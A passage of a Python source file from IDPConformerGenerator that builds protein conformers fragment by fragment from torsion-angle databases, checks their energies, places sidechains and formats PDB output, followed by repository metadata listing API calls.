max_start_attempts = 500 # maximum attempts to start a conformer\n # because we are building from a experimental database there can be\n # some angle combinations that fail on our validation process from start\n # if this happens more than `max_start_attemps` the production is canceled.\n # ?\n\n # /\n # STARTS BUILDING\n conf_n = 1\n while 1:\n # prepares cycles for building process\n bond_lens = get_cycle_distances_backbone()\n bond_type = get_cycle_bond_type()\n\n if bgeo_strategy == bgeo_fixed_name:\n bend_angles = get_cycle_bend_angles()\n\n # in the first run of the loop this is unnecessary, but is better to\n # just do it once than flag it the whole time\n template_coords[:, :] = NAN\n bb[:, :] = NAN\n bb_CO[:, :] = NAN\n bb_NH[:, :] = NAN\n for _mask, _coords in ss_masks:\n _coords[:, :] = NAN\n\n bb[:3, :] = seed_coords # this contains a dummy coord at position 0\n\n # add N-terminal hydrogens to the origin\n\n bbi = 1 # starts at 1 because there are two dummy atoms\n bbi0_R_CLEAR()\n bbi0_R_APPEND(bbi)\n\n COi = 0 # carbonyl atoms\n COi0_R_CLEAR()\n COi0_R_APPEND(COi)\n\n # residue integer number\n current_res_number = 0\n res_R_CLEAR()\n res_R_APPEND(current_res_number)\n\n backbone_done = False\n number_of_trials = 0\n # TODO: use or not to use number_of_trials2? To evaluate in future.\n number_of_trials2 = 0\n number_of_trials3 = 0\n\n # used only if bgeo_strategy == int2cart\n torsion_records = []\n\n # run this loop until a specific BREAK is triggered\n while 1: # 1 is faster than True :-)\n\n # I decided to use an if-statement here instead of polymorph\n # the else clause to a `generative_function` variable because\n # the resulting overhead from the extra function call and\n # **kwargs handling was greater then the if-statement processing\n # https://pythonicthoughtssnippets.github.io/2020/10/21/PTS14-quick-in-if-vs-polymorphism.html # noqa: E501\n if generative_function:\n primer_template, agls = generative_function(\n nres=RINT(1, 6),\n cres=calc_residue_num_from_index(bbi)\n )\n\n else:\n # algorithm for adjacent building\n # TODO\n # primer_template here is used temporarily, and needs to be\n # removed when get_adj becomes an option\n if bgeo_strategy == bgeo_exact_name:\n primer_template, agls, bangs, blens = GET_ADJ(bbi - 1)\n else:\n primer_template, agls = GET_ADJ(bbi - 1)\n\n # index at the start of the current cycle\n PRIMER = cycle(primer_template)\n\n try:\n for (omg, phi, psi) in zip(agls[0::3], agls[1::3], agls[2::3]):\n\n current_res_number = calc_residue_num_from_index(bbi - 1)\n\n # assert the residue being built is of the same nature as\n # the one in the angles\n # TODO: remove this assert\n n_ = next(PRIMER)\n assert all_atom_input_seq[current_res_number] == n_, \\\n (all_atom_input_seq[current_res_number], n_)\n\n curr_res, tpair = GET_TRIMER_SEQ(\n all_atom_input_seq,\n current_res_number,\n )\n torpair = f'{RRD10(phi)},{RRD10(psi)}'\n\n if bgeo_strategy == bgeo_int2cart_name:\n torsion_records.append((omg, phi, psi))\n seq = all_atom_input_seq[:current_res_number + 1]\n\n tors = np.array(torsion_records) # omega, phi, psi\n\n # phi, psi, omega\n tors = np.hstack([tors[:, 1:], tors[:, :1]])\n\n _ = INT2CART.get_internal_coords(seq, tors)\n d1, d2, d3, theta1, theta2, theta3 = _\n\n bend_angles = [theta3, theta1, theta2]\n bond_lens = [d1, d2, d3]\n\n for torsion_idx, torsion_angle in enumerate((omg, phi, psi)): # noqa: E501\n\n if bgeo_strategy == bgeo_int2cart_name:\n # needed for correctly calculating Q\n _bend_angle = (np.pi - bend_angles[torsion_idx]) / 2\n _bond_lens = bond_lens[torsion_idx]\n\n elif bgeo_strategy == bgeo_exact_name:\n _bend_angle = bangs[torsion_idx]\n _bond_lens = blens[torsion_idx]\n\n elif bgeo_strategy == bgeo_sampling_name:\n _bt = next(bond_type)\n\n try:\n _bend_angle = RC(BGEO_full[_bt][curr_res][tpair][torpair]) # noqa: E501\n except KeyError:\n try:\n _bend_angle = RC(BGEO_trimer[_bt][curr_res][tpair]) # noqa: E501\n except KeyError:\n _bend_angle = RC(BGEO_res[_bt][curr_res])\n\n _bond_lens = next(bond_lens)[curr_res]\n\n elif bgeo_strategy == bgeo_fixed_name:\n _bend_angle = next(bend_angles)[curr_res]\n _bond_lens = next(bond_lens)[curr_res]\n\n bb_real[bbi, :] = MAKE_COORD_Q_LOCAL(\n bb[bbi - 1, :],\n bb[bbi, :],\n bb[bbi + 1, :],\n _bond_lens,\n _bend_angle,\n torsion_angle,\n )\n bbi += 1\n\n if bgeo_strategy in (bgeo_int2cart_name, bgeo_sampling_name): # noqa: E501\n\n try:\n co_bend = RC(BGEO_full['Ca_C_O'][curr_res][tpair][torpair]) # noqa: E501\n except KeyError:\n try:\n co_bend = RC(BGEO_trimer['Ca_C_O'][curr_res][tpair]) # noqa: E501\n except KeyError:\n co_bend = RC(BGEO_res['Ca_C_O'][curr_res])\n\n elif bgeo_strategy == bgeo_fixed_name:\n co_bend = build_bend_CA_C_O\n\n else:\n co_bend = bangs[3]\n DISTANCE_C_O = blens[3]\n\n bb_CO[COi, :] = MAKE_COORD_Q_PLANAR(\n bb_real[bbi - 3, :],\n bb_real[bbi - 2, :],\n bb_real[bbi - 1, :],\n distance=DISTANCE_C_O,\n bend=co_bend\n )\n COi += 1\n\n except IndexError:\n # IndexError happens when the backbone is complete\n # in this protocol the last atom build was a carbonyl C\n # bbi is the last index of bb + 1, and the last index of\n # bb_real + 2\n\n # activate flag to finish loop at the end\n backbone_done = True\n\n # add the carboxyls\n template_coords[TEMPLATE_MASKS.cterm] = \\\n MAKE_COORD_Q_COO_LOCAL(bb[-2, :], bb[-1, :])\n\n # Adds N-H Hydrogens\n # Not a perfect loop. It repeats for Hs already placed.\n # However, was a simpler solution than matching the indexes\n # and the time cost is not a bottle neck.\n _ = ~ISNAN(bb_real[bb_NH_nums_p1, 0])\n for k, j in zip(bb_NH_nums[_], bb_NH_idx[_]):\n\n bb_NH[j, :] = MAKE_COORD_Q_PLANAR(\n bb_real[k + 1, :],\n bb_real[k, :],\n bb_real[k - 1, :],\n distance=DISTANCE_NH,\n bend=BUILD_BEND_H_N_C,\n )\n\n # Adds sidechain template structures\n for res_i in range(res_R[-1], current_res_number + 1): # noqa: E501\n\n _sstemplate, _sidechain_idxs = \\\n SIDECHAIN_TEMPLATES[template_seq_3l[res_i]]\n\n sscoords = PLACE_SIDECHAIN_TEMPLATE(\n bb_real[res_i * 3:res_i * 3 + 3, :], # from N to C\n _sstemplate,\n )\n\n ss_masks[res_i][1][:, :] = sscoords[_sidechain_idxs]\n\n # Transfers coords to the main coord array\n for _smask, _sidecoords in ss_masks[:current_res_number + 1]:\n template_coords[_smask] = _sidecoords\n\n # / Place coordinates for energy calculation\n #\n # use `bb_real` to do not consider the initial dummy atom\n template_coords[TEMPLATE_MASKS.bb3] = bb_real\n template_coords[TEMPLATE_MASKS.COs] = bb_CO\n template_coords[TEMPLATE_MASKS.NHs] = bb_NH\n\n if len(bbi0_register) == 1:\n # places the N-terminal Hs only if it is the first\n # fragment being built\n _ = PLACE_SIDECHAIN_TEMPLATE(bb_real[0:3, :], N_TERMINAL_H)\n template_coords[TEMPLATE_MASKS.Hterm, :] = _[3:, :]\n current_Hterm_coords = _[3:, :]\n del _\n\n # rotating the N-term H's is not needed for G and P\n if template_input_seq[0] not in ('G', 'P'):\n # rotates only if the first residue is not an\n # alanie\n\n # measure torsion angle reference H1 - HA\n _h1_ha_angle = CALC_TORSION_ANGLES(\n template_coords[TEMPLATE_MASKS.H2_N_CA_CB, :]\n )[0]\n\n # given any angle calculated along an axis, calculate how\n # much to rotate along that axis to place the\n # angle at 60 degrees\n _rot_angle = _h1_ha_angle % PI2 - RAD_60\n\n current_Hterm_coords = ROT_COORDINATES(\n template_coords[TEMPLATE_MASKS.Hterm, :],\n template_coords[1] / NORM(template_coords[1]),\n _rot_angle,\n )\n\n template_coords[TEMPLATE_MASKS.Hterm, :] = current_Hterm_coords # noqa: E501\n # ?\n\n total_energy = TEMPLATE_EFUNC(template_coords)\n\n if ANY(total_energy > energy_threshold_backbone):\n # reset coordinates to the original value\n # before the last fragment added\n\n # reset the same fragment maximum 5 times,\n # after that reset also the fragment before\n try:\n if number_of_trials > 30:\n bbi0_R_POP()\n COi0_R_POP()\n res_R_POP()\n number_of_trials = 0\n number_of_trials2 += 1\n\n if number_of_trials2 > 5:\n bbi0_R_POP()\n COi0_R_POP()\n res_R_POP()\n number_of_trials2 = 0\n number_of_trials3 += 1\n\n if number_of_trials3 > 5:\n bbi0_R_POP()\n COi0_R_POP()\n res_R_POP()\n number_of_trials3 = 0\n\n _bbi0 = bbi0_register[-1]\n _COi0 = COi0_register[-1]\n _resi0 = res_R[-1]\n except IndexError:\n # if this point is reached,\n # we erased until the beginning of the conformer\n # discard conformer, something went really wrong\n broke_on_start_attempt = True\n break # conformer while loop, starts conformer from scratch\n\n # clean previously built protein fragment\n bb_real[_bbi0:bbi, :] = NAN\n bb_CO[_COi0:COi, :] = NAN\n\n # reset also indexes\n bbi = _bbi0\n COi = _COi0\n current_res_number = _resi0\n\n # remove torsion angle records for this chunk\n if bgeo_strategy == bgeo_int2cart_name:\n torsion_records = torsion_records[:current_res_number + 1]\n\n # coords needs to be reset because size of protein next\n # fragments may not be equal\n template_coords[:, :] = NAN\n template_coords[TEMPLATE_MASKS.Hterm, :] = current_Hterm_coords\n\n # prepares cycles for building process\n # this is required because the last fragment created may have\n # been the final part of the conformer\n if backbone_done:\n bond_lens = get_cycle_distances_backbone()\n bond_type = get_cycle_bond_type()\n\n # we do not know if the next fragment will finish the protein\n # or not\n backbone_done = False\n number_of_trials += 1\n continue # send back to the fragment while loop\n\n # if the conformer is valid\n number_of_trials = 0\n bbi0_R_APPEND(bbi)\n COi0_R_APPEND(COi)\n # the residue where the build process stopped\n res_R_APPEND(current_res_number)\n\n if backbone_done:\n # this point guarantees all protein atoms are built\n break # fragment while loop\n # END of fragment while loop, go up and build the next fragment\n\n if broke_on_start_attempt:\n start_attempts += 1\n if start_attempts > max_start_attempts:\n log.error(\n 'Reached maximum amount of re-starts. Canceling... '\n f'Built a total of {conf_n} conformers.'\n )\n return\n broke_on_start_attempt = False\n continue # send back to the fragment while loop\n\n # we do not want sidechains at this point\n all_atom_coords[ALL_ATOM_MASKS.bb4] = template_coords[TEMPLATE_MASKS.bb4] # noqa: E501\n all_atom_coords[ALL_ATOM_MASKS.NHs] = template_coords[TEMPLATE_MASKS.NHs] # noqa: E501\n all_atom_coords[ALL_ATOM_MASKS.Hterm] = template_coords[TEMPLATE_MASKS.Hterm] # noqa: E501\n all_atom_coords[ALL_ATOM_MASKS.cterm, :] = template_coords[TEMPLATE_MASKS.cterm, :] # noqa: E501\n\n if with_sidechains:\n\n # this is uniformed API for all build_sidechains\n _mask, _new_sd_coords = build_sidechains(template_coords)\n\n if _new_sd_coords is None:\n _emsg = (\n \"Could not find a solution for sidechains, \"\n \"discarding the conformer...\")\n log.info(seed_report(_emsg))\n continue\n\n all_atom_coords[_mask] = _new_sd_coords\n\n if ALL_ATOM_EFUNC is None:\n total_energy = 0\n else:\n total_energy = ALL_ATOM_EFUNC(all_atom_coords)\n\n if ANY(total_energy > energy_threshold_sidechains):\n _msg = (\n 'Conformer with energy higher than allowed threshold '\n '- discarded.'\n )\n log.info(seed_report(_msg))\n continue\n\n _total_energy = np.nansum(total_energy)\n _msg = f'finished conf: {conf_n} with energy {_total_energy}'\n log.info(seed_report(_msg))\n\n yield SUM(total_energy), all_atom_coords\n conf_n += 1\n\n\ndef gen_PDB_from_conformer(\n input_seq_3_letters,\n atom_labels,\n residues,\n coords,\n ALF=atom_line_formatter,\n ):\n \"\"\".\"\"\"\n lines = []\n LINES_APPEND = lines.append\n ALF_FORMAT = ALF.format\n resi = -1\n\n # this is possible ONLY because there are no DOUBLE CHARS atoms\n # in the atoms that constitute a protein chain\n ATOM_LABEL_FMT = ' {: <3}'.format\n\n assert len(atom_labels) == coords.shape[0]\n\n atom_i = 1\n for i in range(len(atom_labels)):\n\n if np.isnan(coords[i, 0]):\n continue\n\n if atom_labels[i] == 'N':\n resi += 1\n current_residue = input_seq_3_letters[resi]\n current_resnum = residues[i]\n\n atm = atom_labels[i].strip()\n ele = atm.lstrip('123')[0]\n\n if len(atm) < 4:\n atm = ATOM_LABEL_FMT(atm)\n\n LINES_APPEND(ALF_FORMAT(\n 'ATOM',\n atom_i,\n atm,\n '',\n current_residue,\n 'A',\n current_resnum,\n '',\n coords[i, 0],\n coords[i, 1],\n coords[i, 2],\n 0.0,\n 0.0,\n '',\n ele,\n '',\n ))\n\n atom_i += 1\n\n return os.linesep.join(lines)\n\n\ndef get_adjacent_angles(\n options,\n probs,\n seq,\n dihedrals_db,\n bgeo_strategy,\n slice_dict,\n csss,\n residue_tolerance=None,\n ):\n \"\"\"\n Get angles to build the next adjacent protein fragment.\n\n Parameters\n ----------\n options : list\n The length of the possible fragment sizes.\n\n probs : list\n A list with the relative probabilites to select from `options`.\n\n seq : str\n The conformer sequence.\n\n dihedrals_db : dict-like\n The angle omega/phi/psi database.\n\n bgeo_strategy : string\n Bond geometry strategy to use.\n\n slice_dict : dict-like\n A dictionary containing the fragments strings as keys and as values\n lists with slice objects.\n\n csss : dict-like\n A dictionary containing probabilities of secondary structures per\n amino acid residue position.\n \n residue_tolerance : dict-like\n A dictionary for possible residue tolerances to look for while sampling\n torsion angles of amino acids.\n \"\"\"\n residue_tolerance = residue_tolerance or {}\n probs = fill_list(probs, 0, len(options))\n\n # prepares helper lists\n lss = [] # list of possible secondary structures in case `csss` is given\n lssprobs = [] # list of possible ss probabilities in case `csss` is given\n lssE, lssprobsE = lss.extend, lssprobs.extend\n lssC, lssprobsC = lss.clear, lssprobs.clear\n\n def func(\n aidx,\n CRNFI=calc_residue_num_from_index,\n RC=np.random.choice,\n GSCNJIT=get_seq_chunk_njit,\n BRS=build_regex_substitutions,\n ):\n\n # calculates the current residue number from the atom index\n cr = CRNFI(aidx)\n \n # chooses the size of the fragment from\n # pre-configured range of sizes\n plen = RC(options, p=probs)\n \n # defines the fragment identity accordingly\n primer_template = GSCNJIT(seq, cr, plen)\n _ori_template = primer_template\n next_residue = GSCNJIT(seq, cr + plen, 1)\n # recalculates the plen to avoid plen/template inconsistencies that\n # occur if the plen is higher then the number of\n # residues until the end of the protein.\n plen = len(primer_template)\n pt_sub = BRS(primer_template, residue_tolerance)\n\n while plen > 0:\n if next_residue == 'P':\n pt_sub = f'{pt_sub}_P'\n\n try:\n if csss:\n # matches current residue\n # to build with residue number in CSSS\n cr_plus_1 = str(cr + 1)\n # clear lists\n lssC()\n lssprobsC()\n # adds possible secondary structure for the residue\n # the first residue of the fragment\n lssE(csss[cr_plus_1].keys())\n # adds SS probabilities for the same residue\n lssprobsE(csss[cr_plus_1].values())\n # based on the probabilities,\n # select a SS for residue in question\n pcsss = RC(lss, p=lssprobs)\n _slice = RC(slice_dict[plen][pt_sub][pcsss])\n else:\n _slice = RC(slice_dict[plen][pt_sub])\n \n dihedrals = dihedrals_db[_slice, :].ravel()\n \n if bgeo_strategy == bgeo_exact_name:\n bend_angs = BEND_ANGS[_slice, :].ravel()\n bond_lens = BOND_LENS[_slice, :].ravel()\n\n except (KeyError, ValueError):\n # walks back one residue\n plen -= 1\n next_residue = primer_template[-1]\n primer_template = primer_template[:-1]\n pt_sub = BRS(primer_template, residue_tolerance)\n else:\n break\n else:\n # raise AssertionError to avoid `python -o` silencing\n _emsg = (\n \"The code should not arrive here. \"\n \"If it does, it may mean no matches were found for fragment \"\n f\"{_ori_template!r} down to the single residue.\"\n )\n raise AssertionError(_emsg)\n\n if next_residue == 'P':\n # because angles have the proline information\n\n if bgeo_strategy == bgeo_exact_name:\n return primer_template + 'P', dihedrals, bend_angs, bond_lens\n\n return primer_template + 'P', dihedrals\n\n else:\n if bgeo_strategy == bgeo_exact_name:\n return primer_template, dihedrals, bend_angs, bond_lens\n\n return primer_template, dihedrals\n\n return func\n\n\nif __name__ == \"__main__\":\n libcli.maincli(ap, main)\n", "repo_name": "julie-forman-kay-lab/IDPConformerGenerator", "sub_path": "src/idpconfgen/cli_build.py", "file_name": "cli_build.py", "file_ext": "py", "file_size_in_byte": 66606, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "16", "api": [{"api_name": "idpconfgen.Path", "line_number": 118, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 151, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 152, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_sampling_name", "line_number": 180, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_exact_name", "line_number": 193, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_fixed_name", "line_number": 193, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_int2cart_name", "line_number": 203, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_error_msg.format", "line_number": 218, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_error_msg", "line_number": 218, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.parse_doc_params", "line_number": 225, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 225, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.CustomParser", "line_number": 228, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 228, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.detailed.format", "line_number": 230, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli.detailed", "line_number": 230, "usage_type": "attribute"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 230, "usage_type": "name"}, {"api_name": "argparse.RawDescriptionHelpFormatter", "line_number": 232, "usage_type": "attribute"}, {"api_name": "idpconfgen.libs.libcli.add_argument_idb", "line_number": 236, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 236, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.add_argument_seq", "line_number": 237, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 237, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.add_argument_dloopoff", "line_number": 274, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 274, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.add_argument_dhelix", "line_number": 275, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 275, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.add_argument_dstrand", "line_number": 276, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 276, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.add_argument_dany", "line_number": 277, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 277, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.add_argument_duser", "line_number": 278, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 278, "usage_type": "name"}, {"api_name": "idpconfgen.core.build_definitions.forcefields.keys", "line_number": 300, "usage_type": "call"}, {"api_name": "idpconfgen.core.build_definitions.forcefields", "line_number": 300, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.add_bgeo_strategy_arg", "line_number": 314, "usage_type": "call"}, {"api_name": "idpconfgen.components.energy_threshold_type.add_et_type_arg", "line_number": 339, "usage_type": "call"}, {"api_name": "idpconfgen.components.xmer_probs.add_xmer_arg", "line_number": 340, "usage_type": "call"}, {"api_name": "idpconfgen.components.residue_tolerance.add_res_tolerance_groups", "line_number": 341, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 347, "usage_type": "name"}, {"api_name": "idpconfgen.components.sidechain_packing.add_sidechain_method", "line_number": 352, "usage_type": "call"}, {"api_name": "idpconfgen.components.sidechain_packing.add_mcsce_subparser", "line_number": 353, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli.add_argument_output_folder", "line_number": 354, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 354, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.add_argument_random_seed", "line_number": 355, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 355, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.add_argument_ncores", "line_number": 356, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 356, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libio.read_dict_from_json", "line_number": 413, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcalc.make_seq_probabilities", "line_number": 420, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_strategies_default", "line_number": 440, "usage_type": "name"}, {"api_name": "idpconfgen.components.sidechain_packing.DEFAULT_SDM", "line_number": 449, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libio.make_folder_or_cwd", "line_number": 476, "usage_type": "call"}, {"api_name": "idpconfgen.logger.init_files", "line_number": 477, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 477, "usage_type": "argument"}, {"api_name": "idpconfgen.Path", "line_number": 477, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 478, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 478, "usage_type": "name"}, {"api_name": "idpconfgen.logger.T", "line_number": 478, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 482, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 482, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 482, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 486, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 486, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 493, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libparse.split_by_ranges", "line_number": 502, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 504, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 504, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 504, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 505, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 505, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 505, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libparse.split_into_chunks", "line_number": 507, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 530, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 530, "usage_type": "name"}, {"api_name": "idpconfgen.components.xmer_probs.prepare_xmer_probs", "line_number": 538, "usage_type": "call"}, {"api_name": "idpconfgen.core.definitions.dssp_ss_keys.valid", "line_number": 544, "usage_type": "attribute"}, {"api_name": "idpconfgen.core.definitions.dssp_ss_keys", "line_number": 544, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libio.read_dictionary_from_disk", "line_number": 596, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_exact_name", "line_number": 598, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libfilter.aligndb", "line_number": 600, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 602, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 602, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 602, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 603, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 603, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 603, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libfilter.aligndb", "line_number": 612, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 618, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 618, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 618, "usage_type": "call"}, {"api_name": "idpconfgen.components.sidechain_packing.get_sidechain_packing_parameters", "line_number": 632, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 651, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 651, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 651, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.prepare_slice_dict", "line_number": 652, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libparse.remove_empty_keys", "line_number": 662, "usage_type": "call"}, {"api_name": "idpconfgen.components.xmer_probs.compress_xmer_to_key", "line_number": 665, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 679, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 679, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 679, "usage_type": "call"}, {"api_name": "idpconfgen.core.build_definitions.forcefields", "line_number": 685, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 693, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 704, "usage_type": "call"}, {"api_name": "idpconfgen.logger.report_on_crash", "line_number": 705, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 711, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 713, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 725, "usage_type": "call"}, {"api_name": "idpconfgen.logger.report_on_crash", "line_number": 726, "usage_type": "argument"}, {"api_name": "multiprocessing.Pool", "line_number": 733, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.prepare_slice_dict", "line_number": 748, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libparse.remove_empty_keys", "line_number": 759, "usage_type": "call"}, {"api_name": "idpconfgen.components.xmer_probs.compress_xmer_to_key", "line_number": 762, "usage_type": "call"}, {"api_name": "idpconfgen.core.build_definitions.forcefields", "line_number": 780, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 786, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 798, "usage_type": "call"}, {"api_name": "idpconfgen.logger.report_on_crash", "line_number": 799, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 806, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 807, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 815, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 815, "usage_type": "name"}, {"api_name": "time.time", "line_number": 815, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_strategies_default", "line_number": 822, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_strategies", "line_number": 853, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_error_msg.format", "line_number": 854, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_error_msg", "line_number": 854, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_sampling_name", "line_number": 856, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_int2cart_name", "line_number": 856, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_exact_name", "line_number": 856, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.sampling.bgeo_sampling_path", "line_number": 860, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libio.read_dictionary_from_disk", "line_number": 863, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.sampling.bgeo_sampling_path", "line_number": 863, "usage_type": "argument"}, {"api_name": "idpconfgen.libs.libhigherlevel.bgeo_reduce", "line_number": 864, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_int2cart_name", "line_number": 875, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.int2cart.bgeo_int2cart.BGEO_Int2Cart", "line_number": 879, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 881, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 881, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 881, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 885, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 885, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 885, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.init_conflabels", "line_number": 893, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.init_conflabels", "line_number": 894, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libparse.remap_sequence", "line_number": 894, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.init_confmasks", "line_number": 896, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.init_confmasks", "line_number": 897, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.prepare_energy_function", "line_number": 899, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.prepare_energy_function", "line_number": 906, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_strategies_default", "line_number": 927, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 931, "usage_type": "attribute"}, {"api_name": "idpconfgen.libs.libparse.translate_seq_to_3l", "line_number": 934, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libstructure.Structure", "line_number": 949, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 949, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libstructure.col_name", "line_number": 951, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libstructure.col_resSeq", "line_number": 952, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libstructure.cols_coords", "line_number": 969, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libstructure.cols_coords", "line_number": 970, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libstructure.cols_coords", "line_number": 971, 